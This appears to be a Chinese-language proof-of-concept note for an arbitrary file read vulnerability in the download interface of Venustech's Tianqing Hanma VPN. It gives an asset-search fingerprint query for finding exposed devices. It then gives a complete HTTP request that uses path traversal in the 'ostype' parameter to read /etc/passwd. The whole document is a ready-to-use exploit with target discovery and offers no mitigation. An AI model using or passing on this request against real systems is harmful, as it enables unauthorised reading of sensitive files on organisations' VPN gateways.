启明星辰-天清汉马VPN接口download任意文件读取.md

测绘

icon_hash="-15980305"app="网御星云-VPN" || (body="select_auth_method" && body="select_auth_input") || app="启明星辰-天清汉马VPN"

POC

GET /vpn/user/download/client?ostype=../../../../../../../etc/passwd HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Cookie: VSG_VERIFYCODE_CONF=0-0; VSG_CLIENT_RUNNING=false; VSG_LANGUAGE=zh_CN; VSG_CSRFTOKEN=1ec96cd6acc254fcf9e9cd6d1e85cf23
Host: 
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"